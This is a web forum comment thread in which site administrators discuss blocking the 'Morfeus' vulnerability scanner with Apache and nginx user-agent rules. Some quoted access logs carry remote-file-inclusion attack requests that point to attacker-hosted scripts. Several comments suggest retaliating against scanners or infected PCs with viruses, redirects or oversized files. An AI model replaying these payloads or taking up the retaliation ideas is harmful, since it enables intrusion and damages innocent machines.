Update on Morfeus Fucking Scanner
41 comments
Comment from: Tim

nice one, thanks.
Comment from: hi

SetEnvIfNoCase User-Agent "Morfeus Fucking Scanner" bad_bot
Deny from env=bad_bot
probably uses less resources
Comment from: Slevdi Davoteca

IIS users can do this with the free version of the excellent IsapiRewrite application:
http://www.isapirewrite.com/Comment from: Giuliano Caglio

Hi!
My webserver was attacked for months using "libwww" user-agent ( i think this is some software written in perl), now the "Morfeus *********" is beeing used.
Added this two lines in my httpd.conf
SetEnvIf User-Agent ^libww keep_out=1
SetEnvIf User-Agent ^Morf keep_out2=1
and this line in the main "directory" tag:
Deny from env=keep_out env=keep_out2
The webserver now return "403" error code to any request from libww* or Morf*, so the attacker is out of business...
I used regex expression intead of complete name because i think the attacker will change slightly the user-agent name of the program, hoping it will add only some character at the end.
Hope this will help someone!
Comment from: James Stanley

Blocking libwww is a bad idea, since it is a completely legitimate library. If you block libwww, you keep out anybody that might be using anything that uses the common libwww library (which isn't only for Perl).
Comment from: Jussi Peltola

If your security is based on blocking user agents... well, I wish you the best of luck and hope you're not administering anything important.
Comment from: Dave M

I've come across this type of activity in my access logs for years as well, but rather than block access by user agent, I've written a script that analyzes the 404 status access attempts, does an internal whois on any attempt that seems like suspicious activity, and sends out an attack notification to the abuse address for that IP number. So far, I've gotten very positive feedback from the ISP's I've heard from. And, of course, no hacker has gotten in yet. :) I could just as easily sent the offender some nasty virus, and "Do unto others", so to speak, but I'd rather take the high road. [wink!]

RewriteCond %{HTTP_USER_AGENT} (^libwww-perl) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]
Block them and then send there request back at them. :)
Comment from: Hugh Jorgan

Use OSSEC HIDS will block such attacks.

Basically i just ban the Ips that used the program. I dont care who it is, i can track them through the proxy's mask. and i contact the person's ISP about a script hacking attempt. if these users dont like it, tough luck, its their IP not mine.
Comment from: hikari

I'd like to re-emphasize that blocking libwww-perl (LWP) is a VERY BAD IDEA, speaking as someone who's written a couple of legitimate scripts using it; aside from that, it's absolutely trivial in LWP to change the user-agent string, so it really provides little more than a false sense of security. Blocking the actual attack vectors (it's enough for them to return 404 or 403, really) is much better, and of course patching the software they're trying to attack it it's present.
Comment from: The Traveller

I had the same o the site stats.
Thanks a lot by the solucion posted by you.
Regards!

fu++ing scanner!
fu++ing scanner!
^)
Comment from: Claudio Acevedo

Hi, I recomend everybody try modsecurity with the OSSEC scanner. The best and more simple way I think is use the ASL rules of modsecurity (for apache): http://www.atomicrocketturtle.com/
regards

Morfeus F'king Scanner resolves to
IP: 63.95.247.234
Spidergate Media Group
12910 SW 89th Ct Ste 201
Miami, FL , 33176-5803
Phone: 305-506-1123
FAX: 305-253-0013
Website: www.spidergate.com
Which of course is "under construction." It appears to be a typical government funded data collection/hacking system but might be private or pirate enterprise. They are probably loosely associated with some alphabet branch. I get a lot of hits from unusual sources since I am apparently considered a national security risk for knowing a little to much truth because of my past... So, if it don't look right, block its ass!
Cheers - Dave
Comment from: Denver SEO

Great info! Needed this to stop this lunatic bot.
Comment from: JAFO

h--p://ifile.it/qpd4rfu/toolbox.zip
That's a combination reply for those of us on shared servers that don't have the luxury of some of the other methods of securing our webspace. It contains an .htaccess file that will block nearly ALL of the various attacks, as well as rippers, scrapers and other obnoxious bots.
There's a special treat for Morfeus, although it's commented out in the .htaccess file and I've put it in the restricted bot list. If you remove Morfeus from the bot list and uncomment the lines and then save that cute little TRAP.PHP file to your server, then ANY access from the kiddies that use Morfeus will immediately add them to the bottom of your DENY FROM list in .htaccess
I've beat the heck out of the .htaccess and it's blocked EVERY one of the attacks that these kids are using at the moment. I've even downloaded some of their script tools and tried attacking my server with every exploit I thought was relevant or current, and they all failed. :D
Be aware that you MAY need more than just the GET, HEAD and POST access methods. As always, try it first and then run through EVERYTHING on your server, and keep a close eye on your error logs and access logs for the next few weeks. It's a good idea to comment out the first line like this:
RewriteRule ^(.*)$ 404.shtml
and uncomment the
RewriteRule .* - [F,L]
or you won't see any mistakes in your logs. It's a trick I found that returns absolutely minimal info to the baby hackers and scrapers, so set it back to the 404.shtml when you are done. Of course, you have to MAKE a small 404.shtml file, but you can make an tiny file for that purpose.
Special note to the wiseass that said it was pointless to block by user-agent: well, it's certainly stopped a lot of the dumb kids attacking MY forums, so don't knock success! -FU

Blocking clients based on the user agent string is a very bad idea for a number of reasons. First of all even if you manage to just block the right ones (with the most telling names, like Morfeus) then you'll feel that you're secure. But the user agent string can be set to anything even in normal browsers, not to talk about the case when someone writes their scanner for themselves.
Actually I'm a bit surprised that some of these bots give away themselves, but it's good for you because you can recognize what they were doing or searching for. Another reason is of course that it will give you a false sense of security, but as I said a scanner doesn't have to say that its a scanner. It can say 'Mozilla (5.0 Compatible;....' etc.
The third one is of course blocking legitimate clients incidentally (like the libwww based ones). But it's not that bad, because I think most of these ones are robots anyway.
I came here because I was also scanned by Morfeus and I was curoius what kind of bot it could be and this page was the first result by google. :)
Comment from: JAFO

Blocking by user-agent had stopped a LOT of the stupid children before I got the rest of my .htaccess working. Here's an example of another child in Indonesia that got caught both ways (by user-agent AND by the remote inclusion block):
63.208.74.34 - - [07/Sep/2008:14:41:57 -0400] "GET /forum/index.php?show...c=16317&st=0& HTTP/1.1" 403 - "-" "libwww-perl/5.79"
63.208.74.34 - - [07/Sep/2008:14:41:57 -0400] "GET /signer/final.php?smiley=http://www.wspilots.com/modules/mx_pafiledb/pafiledb/images/id.txt???? HTTP/1.1" 403 - "-" "libwww-perl/5.79"
63.208.74.34 - - [07/Sep/2008:14:41:57 -0400] "GET /forum/signer/final.php?smiley=http://www.wspilots.com/modules/mx_pafiledb/pafiledb/images/id.txt???? HTTP/1.1" 403 - "-" "libwww-perl/5.79"
He's proxying through a zombie in Beverly Hills, but all of his scripts are in some Indonesian language, so it's a safe bet where he's located. Same goes for the Chinese botnet: it's using a large list of zombied home computers all over the world, but all of the inclusions are from servers located in China.
I don't really care if you think libwww-perl is skittles and beer, it has NO valid reason to be used on any of the four forums I help out on. You're allowed to browse, you're not allowed to 'play with your tools'. The search engines that advertise with it I've previously banned because they were abusive, and the wannabe-hackers mostly aren't smart enough to change the user-agent. Feel free to write whatever apps you want with libwww to play on the web, but if I catch you using them on MY forum, I'll DENY you. If you're using it from a server somewhere, I'll deny the entire address range of their farm. We want people looking and posting, not net geeks playing with themselves, and if you look like a skiddie, I'll treat you like one (insert: boot)
Today's brainchild above is one sterling example, and we only had 3 attacks today (him, a botnet from China and the 'artatgig' idiot that hasn't yet figured out that I've complained about all of his remote inclusion files and they're all GONE. :D ) All three attacks were handled quite nicely by the QUERY_STRING and THE_REQUEST rules.
Blocking solely by user-agent WOULD be less effective, but it would still stop kids like the example above. The rest of the stuff I have in my .htaccess (see the IFILE.IT in my earlier post) does a MUCH better job to shut 'em down since it doesn't rely solely on user-agent. I'm a "suspenders and belt" kind of person with our forum security, and if they're stupid enough to leave libwww-perl in the string then I'm willing to DENY them and laugh at them. ROFL
Again, MANY of us have no access to the better methods of protecting a server 'cos we're on a shared host that doesn't give us access to those root firewall toys, so .htaccess and regular updates or patches to our software are the only avenues we have to stop these kids.
The ONLY application I've ever seen that I want to allow access is one ancient old text browser that identifies as libwww-{something}, but not as libwww-perl, so I'm at least polite and I'm blocking the whole string 'libwww-perl' and not the substring 'libwww' as I've seen others do.
BTW, Morfeus is an ancient scanner from around 2006 that was looking for a variety of PHP security flaws. I'd guess that the skiddie using it nowadays has either updated the list or isn't bright enough to know that all of our servers have long since been patched. The modification that hit us was looking in a bunch of SOAP directories. Sorry, no SOAP here!
Comment from: F. Andy Seidl

I my opinion, webmasters definitely should use user-agent headers to manager server traffic. But understand that this is purely a pragmatic tactic and not a serious security measure.
I wrote more about this idea here:
Webmaster Tips: Blocking Selected User-Agents
http://faseidl.com/public/item/213126

"I'd like to re-emphasize that blocking libwww-perl (LWP) is a VERY GOOD IDEA"
Blocking libwww, lwp-trivial, curl, PHP/, urllib, GT::WWW, Snoopy, MFC_Tear_Sample, HTTP::Lite, PHPCrawl, URI::Fetch, Zend_Http_Client, http client, PECL::HTTP, Java and others is a good idea because the bottom feeders definitely do not bother changing user agents. Some vulnerability scanners have always used libwww-perl and I don't think that's going to change anytime soon.
I agree that blocking generic HTTP libraries does not add much security.
Comment from: Dave Meckanic

This may be a new one for the books;
66.38.180.84 - [23/Sep/2008:19:49:19 -0400] "GET /user/soapCaller.bs HTTP/1.1" 404 325 "" "Morfeus Fucking Scanner"
The IP this time resolves to;
Bell Canada GT-NTL-BLK2 (NET-66-38-128-0-1)
66.38.128.0 - 66.38.255.255
Zoom Media Inc. GT-66-38-180-80-ZOOM (NET-66-38-180-80-1)
66.38.180.80 - 66.38.180.87
IP address location & IP address info:
IP address [?]: 66.38.180.84
IP address country: Canada
IP address state: Quebec
IP address city: Montreal
IP address latitude: 45.500000
IP address longitude: -73.583298
ISP of this IP [?]: Bell Canada
Organization: Zoom Media
Host of this IP: [?]: static-66-38-180-84.gtcust.grouptelecom.net
Registrant:
Bell Canada
Bell Canada
1000, Rue de la Gauchetiere Ouest 41st Floor
Montreal, Quebec H3B 5H8
CA
trademarks@bell.ca +1.5147869356 Fax: +1.5148704833
Domain Name: grouptelecom.net
Registrar Name: Markmonitor.com
Registrar Whois: whois.markmonitor.com
Registrar Homepage: http://www.markmonitor.com
Administrative Contact:
Bell Canada
Bell Canada
1000, Rue de la Gauchetiere Ouest 41st Floor
Montreal, Quebec H3B 5H8
CA
trademarks@bell.ca +1.5147869356 Fax: +1.5148704833
Technical Contact, Zone Contact:
Bell Canada
Bell Canada
1000, Rue de la Gauchetiere Ouest 41st Floor
Montreal, Quebec H3B 5H8
CA
trademarks@bell.ca +1.5147869356 Fax: +1.5148704833
Created on..............: 1997-03-19.
Expires on..............: 2009-03-19.
Record last updated on..: 2008-08-12.
Domain servers in listed order:
ns2.toroon.grouptelecom.net
ns1.clgrab.grouptelecom.net
There seem to be a few tools out there using the same tool ;-)
Cheers - Dave
Comment from: invisible_theater

nice info bro :)
i've got this logs
#==================================
67.111.5.31 - - [19/Sep/2008:19:58:54 +0700] "GET /user/soapCaller.bs HTTP/1.1" 404 216
67.111.5.31 - - [19/Sep/2008:19:58:54 +0700] "GET /user/soapCaller.bs HTTP/1.1" 404 216 "-" "Morfeus Fucking Scanner"
#==================================
IP Location: United States United States New York Xo Communications
Resolve Host: lpnpbx.cya.net
IP Address: 67.111.5.31
rgName: XO Communications
OrgID: XOXO
Address: 13865 Sunrise Valley Drive
City: Herdon
StateProv: VA
PostalCode: 20171
Country: US
ReferralServer: rwhois://rwhois.eng.xo.com:4321/
NetRange: 67.104.0.0 - 67.111.255.255
CIDR: 67.104.0.0/13
NetName: XOXO-BLK-17
NetHandle: NET-67-104-0-0-1
Parent: NET-67-0-0-0-0
NetType: Direct Allocation
NameServer: NAMESERVER1.CONCENTRIC.NET
NameServer: NAMESERVER2.CONCENTRIC.NET
NameServer: NAMESERVER3.CONCENTRIC.NET
NameServer: NAMESERVER.CONCENTRIC.NET
Comment: ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
Comment: Please report spam and viruses to abuse@xo.net.
Comment: For better service, direct customers of XO may use
Comment: the web form at http://www.xo.com/contact/care/
Comment: for reverse DNS requests and other customer-specific
Comment: technical issues. Thank you for your cooperation.
Comment:
RegDate: 2001-08-10
Updated: 2007-08-29
OrgAbuseHandle: XCNV-ARIN
OrgAbuseName: XO Communications, Network Violations
OrgAbusePhone: +1-866-285-6208
OrgAbuseEmail:
OrgTechHandle: XCIA-ARIN
OrgTechName: XO Communications, IP Administrator
OrgTechPhone: +1-703-547-2000
OrgTechEmail:
== Additional Information From rwhois://rwhois.eng.xo.com:4321/ ==
network:Class-Name:network
network:ID:NET-XO-NET-436f0000
network:Auth-Area:67.104.0.0/13
network:Network-Name:XO-NET-436f0000
network:Organization;I:CONECTATEYA (223671-1)
network:IP-Network:67.111.0.0/21
network:Admin-Contact;I:XCIA-ARIN
network:Tech-Contact;I:XCIA-ARIN
network:Created:20040601
network:Updated:20040611
network:Updated-By:
Comment from: Roland

I've gotten 4 one-off accesses of this type in the last week on my mini-site. From Akron, OH,
Reston, VA, Bucharest, and Santiago, Chile. I don't think they are deliberate scans. I suspect they are from infected PCs whose owners are clueless about it.
Comment from: Dave Meckanic

It is very possible that these things are coming down the pipe from "zombies." If you really want to tie them up badly and don't mind wasting the bandwidth, you can take a garbage file that's say 10 to 50 megabytes, rename it and throw it into a target directory. Then when the scan comes by it should tie up the scanner for some time. If it is zombie, that might alert the user to the problem as their machine should slow right down and it might even cause an overflow and crash them. Just an idea... fight fire with fire!
Comment from: rekle

Dave,
I don't think it's a good idea to put 50 mb dummy files on your website to slow them down. Most webhosting providers have bandwidth limitations that would rapidly get eaten up by downloading this dummy file. Plus, I don't think the webhost would appreciate you wasting their bandwidth like that.
Comment from: Randolf Richardson

I see this stuff in my web server logs all the time, but instead of blocking by user agent I simply make sure my systems are secure from the get-go.
For those of you who are blocking based on user-agent, you're practicing what is called "security by obscurity" and you've completely misunderstood some very basic security concepts; you have no business dealing with security matters of any sort with such a reckless attitude -- if your system hasn't already been hacked, then it's simply a matter of "when" not "if" you will be hacked with the approach you're using.
Oh, and while you're at it, if you really want to keep your systems safe from bots and SpyWare infested systems, why not just block everything that runs Windows, or better yet, just pull the AC plug (which takes a lot less effort than typing configuration parameters)? That way nobody will be able to do anything to your system remotely.
Comment from: Some Wannabe Webmaster

I just told the router to block China and most everything went away.
Comment from: youfoundjake

I've seen this poking around, any idea on why the referrer is "/components/com_smf/smf.php?mosConfig_absolute_path=http://amgaco.com/try.txt%3f&/" from my domain?
Comment from: haans gruber

China seems to be the main culprit. There are several flavors of *nix which provide this as a cover IP of origination. Blocking them should quell most of the attacks.
peace,
haans :)
ps. I am always glad to help out if I can
Comment from: Sterling Cooper

I just saw "Morfeus Fucking Scanner" in my log files today, thanks for the article.

Can anyone share the OSSEC rule they've used to block any user-agent? curl is being used constantly to create new blog accounts (1700 time yesterday) and I want it to stop. If I had a rule that blocked when there's a match for user agent = ^curl and file = wp-signup.php, I'd be able to eliminate 99.9% of the spam blog signups.
thanks,
Beth

Well I decided to make a file in my htdocs called soapcaller.bs . I wrote a nice message to the asswipe attempting to scan my location. I have been blocking these through .htaccess but I find it to be a pain and just figure if I send them some viruses to play with that would slow it down at least.
Comment from: shineshadow

Beth
You could block the user-agent 'curl'. However you could also just install a captcha of some sort on user and content creation pages. Just google captcha script for various levels from simple math problems to the more typical 'Copy these numbers' kind.
Comment from: Zenni

Does it represent threats for HTML only or ASP.NET websites?

We are receiving the same soapCaller.bs scans, four of them just last night. I am just learning that these are related to this MFS. We have not noticed any particular problems aside from the fact that this keeps popping up on our error list.

Blocking UA and IP'S is nonsense
Both can be faked
Just be sure that the files scanned for don't exists on your server(or in case you want to play with the kids you could create the files with nice js scripts like The Love You virus etc.) but why wasting your time with this ?? just secure your servers
and watch your logs on 200 status codes
The 200 Status tells me that somebody received the file he asked for!!
Comment from: Sam

I have nothing on my webserver, just a index.html page saying nothing is here.
I have thousands of lines every day from this Morfeus.
94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /cube/README HTTP/1.1" 404 288 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /round/README HTTP/1.1" 404 289 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /roundcube-0.2/README HTTP/1.1" 404 297 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /roundcube-0.1/README HTTP/1.1" 404 297 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:05 +0000] "GET /roundcubemail-0.1/README HTTP/1.1" 404 301 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /roundcubemail-0.2/README HTTP/1.1" 404 301 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /wm/README HTTP/1.1" 404 286 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /webmail2/README HTTP/1.1" 404 292 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /rms/README HTTP/1.1" 404 287 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:06 +0000] "GET /mail2/README HTTP/1.1" 404 289 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /mss2/README HTTP/1.1" 404 288 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /mss/README HTTP/1.1" 404 287 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /roundcubemail/README HTTP/1.1" 404 297 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /rc/README HTTP/1.1" 404 286 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:07 +0000] "GET /webmail/README HTTP/1.1" 404 291 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:08 +0000] "GET /roundcube/README HTTP/1.1" 404 293 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:08 +0000] "GET /mail/README HTTP/1.1" 404 288 "-" "Morfeus strikes again."
94.102.209.172 - - [08/Dec/2009:13:01:08 +0000] "GET /README HTTP/1.1" 404 283 "-" "Morfeus strikes again."
Comment from: kyle

i set up an apache server on ubuntu recently, and i noticed this morfeus stuff on there, "Morefeus strikes again" and a bunch of requests. I don't really understand the http get and post stuff yet, so i was wondering if he had done anything bad. I got a bunch of 404s, but then it says internal dummy connection with what I think is the "option" command. maybe i did this, but i really dont know. mind taking a look?
95.211.24.2 - - [13/May/2010:01:25:08 -0400] "GET /mail/README HTTP/1.1" 404 470 "-" "Morfeus strikes again."
95.211.24.2 - - [13/May/2010:01:25:08 -0400] "GET /README HTTP/1.1" 404 467 "-" "Morfeus strikes again."
::1 - - [13/May/2010:01:25:09 -0400] "OPTIONS * HTTP/1.0" 200 152 "-" "Apache/2.2.12 (Ubuntu) (internal dummy connection)"
::1 - - [13/May/2010:01:25:10 -0400] "OPTIONS * HTTP/1.0" 200 152 "-" "Apache/2.2.12 (Ubuntu) (internal dummy connection)"
::1 - - [13/May/2010:01:25:11 -0400] "OPTIONS * HTTP/1.0" 200 152 "-" "Apache/2.2.12 (Ubuntu) (internal dummy connection)"
Did he get in? or was that just something i did? message me if you want, i appreciate the help
Comment from: Richard

I just added "soapCaller" to my "custom keyword based blocker" which block not only their ip, but their whole subnet.
This is something I cobbled together
(1) Uses modsec to grep any of a list of keywords.
(2) Sends the ip to a "whois" custom java program
(3) This "whois" queries servers such as arin,ripe and gets the netblock range.
(4) Makes an OS call to block the range (via iptables,netsh,ipseccmd,ipsecmod,etc)
Comment from: Another Visitor

If you guys are using nginx (EngineX) instead of Apache (slowpache) you can add this directive to your main server config and / or vhost include files.
if ($http_user_agent ~* (Baiduspider|Jullo|Morfeus) ) {
return 444;server {
listen 80 default;
server_name _;
if ($http_user_agent ~* (Baiduspider|Jullo|Morfeus) ) {
return 444;
}
access_log /usr/local/www/data/_default/access_default.log;
server_name_in_redirect off;
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/local/www/data/_default$fastcgi_script_name;
include fastcgi_params;
}
location / {
index index.php index.html;
root /usr/local/www/data/_default;
error_page 404 error/404.html;
}
}
As in the following "default" example (for anything that doesn't match any of my served domains):